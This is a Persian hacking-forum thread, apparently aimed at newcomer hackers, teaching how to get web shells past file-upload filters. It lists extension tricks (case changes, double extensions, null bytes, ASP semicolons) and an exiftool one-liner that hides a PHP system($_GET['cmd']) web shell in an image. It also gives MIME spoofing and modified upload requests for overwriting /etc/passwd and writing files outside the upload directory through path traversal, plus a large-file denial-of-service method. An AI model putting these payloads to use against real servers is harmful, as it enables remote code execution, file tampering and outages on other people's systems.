SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

Bypass File Upload | بای پس آپلود فایل

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • Bypass File Upload | بای پس آپلود فایل

    درود عزیزان در این تاپیک در خدمت شما هستیم با بررسی روشهای دور زدن آپلودر

    دور زدن لیست سیاه
    اولین روشی که ما بررسی خواهیم کرد نحوه دور زدن لیست سیاه است. لیست سیاه نوعی حالت حفاظتی در آپلودر ها است که در آن رشته های خاصی از داده ها ، محتوای فایل و پسوندهای خاص ، صراحتا از ارسال به سرور منع می شوند. در نگاه اول ، ممکن است راه حلی مطلوب برای جلوگیری از بارگذاری وب شل ها به نظر برسد ، اما بسته به نوع فیلتر کردن و برنامه نویسی میتوان ضریب امنیتی آن را مشخص کرد .


    پسوندها در آپلود فایل به دو نکته کلیدی وابسته میباشند.

    1 - تنظیمات سرور برای اجرا
    2 - نحوه تعریف برنامه نویس

    چندین نوع پسوند در PHP را با هم بررسی میکنیم :

    کد:
    .pht, .phtml, .php3, .php4, .php5, .php6, .inc
    یکی دیگر از پسوند های محبوب برای آپلود شل JSP میباشد با هم چندین پسوند از این گروه را نیز بررسی میکنیم :

    کد:
    .jspx, .jspf, .jsw, .jsv
    در برخی مواقع با تغییرات جزیی میتوانیم فایل را آپلود کنیم و عملا با ساده ترین ترفند آپلودر را بای پس نمائیم :

    کد:
    .pHp, .Php, .phP
    دور زدن لیست سفید
    یکی دیگر از انواع پیشگیری هایی که معمولاً در وب مشاهده می شود ، لیست سفید است. لیست سفید دقیقا برعکس لیست سیاه است ، به عنوان مثال ، برنامه ای که به شما امکان بارگذاری عکس را می دهد ، ممکن است فقط فایل های JPG ، JPEG یا PNG را بگیرد. با هم روش های بای پس این سرویس را نیز بررسی میکنیم :


    در برخی وب سرور ها همانند آپاچی بصورت دیفالت اجرای فایل با دو پسوند یک حقه قدیمی هکر ها برای آپلود وب شل PHP به جای JPG میباشد .

    کد:
    shell.php.jpg
    ما میتوانیم از روش null byte injection برای دور زدن لیست سفید نیز استفاده کنیم ، هر چیزی بعد از کارکتر های null در هنگام ذخیره سازی فایل حذف میشود ، بنابراین تزریق بین یک پسوند غیر مجاز و یک پسوند مجاز می تواند منجر به دور زدن آپلودر شود :

    کد:
    shell.php%00.jpg
    یا

    کد:
    shell.php\x00.jpg
    در سرور های ویندوزی نیز روش مشابه را با تغییر پسوند پیش میبریم بطور مثال :

    کد:
    shell.asp;.jpg
    shell.asp;.gif
    shell.asp.jpg
    shell.aspx;.jpg
    shell.aspx;.gif
    ساخت پسوند و بررسی در برخی تارگت ها نیاز به تغییر و بررسی مکرر دارد پس این باید بخشی از هنر شما باشد تا بتوانید عنوان حالت های ممکن را بررسی کنید .

    نمونه ای از حالت ها مختلف را در توضیحات زیر میتوانید مشاهده کنید :

    کد:
    shell.php3
    shell.php5
    shell.php.1
    shell.php.x
    shell.jpg.php
    shell.jpg;.php
    ...
    ادامه دارد ...
    -----------------------------SAFE MASTER---------------------------
    تاپیک هکر های تازه وارد

  • #2
    File Extensions | پسوند فایل
    Type Extensions
    PHP .pht, phtml, .php, .php3, .php4, .php5, .php6, .inc
    JSP .jsp, .jspx, .jsw, .jsv, and .jspf
    Perl .pl, .pm, .cgi, .lib
    Asp asp, .aspx
    Coldfusion .cfm, cfml, .cfc, .dbm

    برنامه نویسان پسوندهای خاصی را در لیست سیاه قرار می دهند و از بارگذاری فایل هایی که برای سرور خطرناک هستند جلوگیری می کنند. اما هکر ها می توانند با تغییر برخی از رشته ها در فایل ارسالی با payload های مختلف اقدامات امنیتی را دوزده و web shell خود را آپلود نمایند.

    در برخی موارد استفاده از حروف کوچک و بزرگ ، حجم کم فایل و تغییر هدر کاربرد مفیدی دارد :

    بطور مثال .pHp, .Php, .phP

    EXIF Data

    مخلوط کردن محتوای وبشل با تصاویر یکی دیگر از پر کاربرد ترین حملات برای فریب دادن قوائد امنیتی آپلودر ها میباشد هنگامی که برنامه نویس فیلتر بررسی محتوا را اعمال میکند ما میتوانیم با ترکیب کد PHP یا ASP درون یک تصویر این فرآیند را دور بزنیم . به نمونه زیر دقت بفرمائید :

    در این مثال از ابزار ExifTool در لینوکس برای آماده سازی فایل png دارای کد php استفاده میکنیم :

    کد:
    exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.png
    mv image.jpg image.php.png
    با استفاده از تصویر آماده شده میتوانیم فیلتر محتوا را بای پس نمائیم /.

    ادامه دارد ..


    -----------------------------SAFE MASTER---------------------------
    تاپیک هکر های تازه وارد

    نظر


    • #3
      MIME-type
      انواع MIME نیز روشی برای تأیید اعتبار بارگذاری فایل است ، هر نوع فایل یک Type مخصوص به خودش را دارا میباشد و در هدر ارسالی سرور میتوان در برخی مواقع با تغییر MIME تارگت را بای پس نمود :

      Normal PHP MIME type:

      کد:
      Content-type: application/x-php
      Replace with
      کد:
      Content-type: image/jpeg
      در هنگام ارسال آپلودر های که تنها پسوند مجاز را از نوع تصویر و یا مدارک میدانند میتوانید علاوه بر تغییر پسوند و محتوا MiME را تغییر دهید تا در هنگام اجرای فایل بجای تصویر آن را بصورت PHP اجرا نماید .

      در هنگام تغییر هدر برای بای پس محتوا میتوانید درون محتوای POST شده کدهای PHP مختلفی را تست نمائید بطور مثال :

      کد:
      <?='$_GET[x]'?>
      ادامه دارد ...
      -----------------------------SAFE MASTER---------------------------
      تاپیک هکر های تازه وارد

      نظر


      • #4
        حمله بازنویسی فایل File Overwrite Attack
        بازنویسی فایل یک تکنیک در هنگام آپلود فایل است، زمانی که کاربر می تواند مسیری را که فایل باید در آن ذخیره شود را کنترل و به مسیر دیگری نیز هدایت کند. این روش را می توان شبیه به حمله Zip Slip و Path Traversal در نظر گرفت، اما با فرض سناریویی که امکان آپلود مستقیم یک فایل و تغییر مسیر آن برای بازنویسی یک فایل سیستمی موجود وجود دارد، به عنوان یک موضوع جداگانه نگهداری می شود.

        برای بررسی این تکنیک ، می توان مراحل زیر را دنبال کرد:

        فایل سیستمی مانند /etc/ passwd را ایجاد کنید
        به هدر آپلود فایل بروید و این فایل را هنگام ثبت درخواست با Burp Suite آپلود کنید.

        کد:
        Original Request POST /upload
        Host: testweb.com
        ....
        other headers
        ....filename=/etc/ passwd&content={file_content}
        اکنون درخواست را با تغییر پارامتر نام فایل به ../../../../etc/ passwd تغییر دهید.

        کد:
        Modified RequestPOST /upload
        Host: testweb.com
        ....
        other headers
        ....filename=../../../../etc/ passwd&content={file_content}
        اگر آپلود با موفقیت انجام شد، برنامه را بازخوانی کنید و برای تأیید آسیب‌پذیری، مشاهده کنید که آیا فایل تغییری کرده است یا خیر .

        موفق باشید .

        ادامه دارد ...


        -----------------------------SAFE MASTER---------------------------
        تاپیک هکر های تازه وارد

        نظر


        • #5
          حمله پیمایش مسیر در آپلود فایل | Path Traversal Attack in File Upload

          این حمله ممکن است شبیه حمله ذکر شده در بالا، یعنی حمله بازنویسی فایل به نظر برسد، با این حال، در این سناریو فرض می‌کنیم که امکان بازنویسی یک فایل سیستمی به دلیل بررسی‌های اجرا شده که نمی‌توان آنها را دور زد، وجود ندارد. در این شرایط، ما سعی خواهیم کرد فایلی را خارج از دایرکتوری مورد نظر ایجاد کنیم که ممکن است به مهاجم اجازه دهد فایل های مخرب همانند وب شل را تزریق کند.

          برای بررسی این مشکل، می توان مراحل زیر را دنبال کرد:

          به عملکرد آپلود فایل بروید و در حین ثبت درخواست با Burp Suite، یک فایل را آپلود کنید.
          [فرض کنید که برنامه فایل‌ها را در فهرست زیر ذخیره می‌کند: testweb.com/files/external/upload/folder/test/<uploaded_file>

          کد:
          Original Request
          POST /upload
          Host: testweb.com
          ....
          other headers
          ....path=/folder/test/&filename=test.png&content={file_content}
          اکنون این درخواست را با تغییر پارامتر نام فایل به test.png/../../../ یا با تغییر پارامتر مسیر به /folder/test/../../../ تغییر دهید.

          کد:
          Modified Request - 1
          
          POST /upload
          Host: testweb.com
          ....
          other headers
          ....path=/folder/test/&filename=../../../test.png&content={file_content}
          ================================================== ==================
          Modified Request - 2
          
          POST /upload
          Host: testweb.com
          ....
          other headers
          ....path=/folder/test/../../../&filename=test.png&content={file_content}
          در صورت موفقیت آمیز بودن آپلود، سعی کنید به فایل خارج از دایرکتوری مورد انتظار دسترسی داشته باشید و اگر امکان دسترسی به فایل وجود داشت، می توان از آن برای انجام حملات دیگر استفاده کرد.



          انکار سرویس فایل بزرگ | Large File Denial of Service

          اغلب یک محدودیت اندازه مرتبط با قابلیت آپلود فایل وجود دارد که بسته به منطق برنامه ممکن است از 5 مگابایت تا 200 مگابایت یا حتی کوچکتر/بزرگتر باشد. با این حال، در شرایط خاص، اگر این محدودیت تعریف نشده باشد یا بررسی‌های اعتبارسنجی مناسب وجود نداشته باشد، ممکن است به مهاجم اجازه دهد تا فایلی با اندازه نسبتاً بزرگ آپلود کند که در نتیجه مصرف منابع منجر به وضعیت انکار سرویس شود.
          بررسی :
          فایلی با اندازه بزرگتر از حد تعیین شده ایجاد کنید. به عنوان مثال، یک فایل تصویری با حجم فایل 500 مگابایت.
          اکنون فایل را آپلود کنید و اگر برنامه فایل را پذیرفت و شروع به پردازش آن کرد، امکان پیاده سازی این حمله توسط چندین دستگاه و آپلود مکرر حجم بالا برای تکذیب سرویس وجود خواهد داشت .

          ادامه دارد ...
          -----------------------------SAFE MASTER---------------------------
          تاپیک هکر های تازه وارد

          نظر

          صبر کنید ..
          X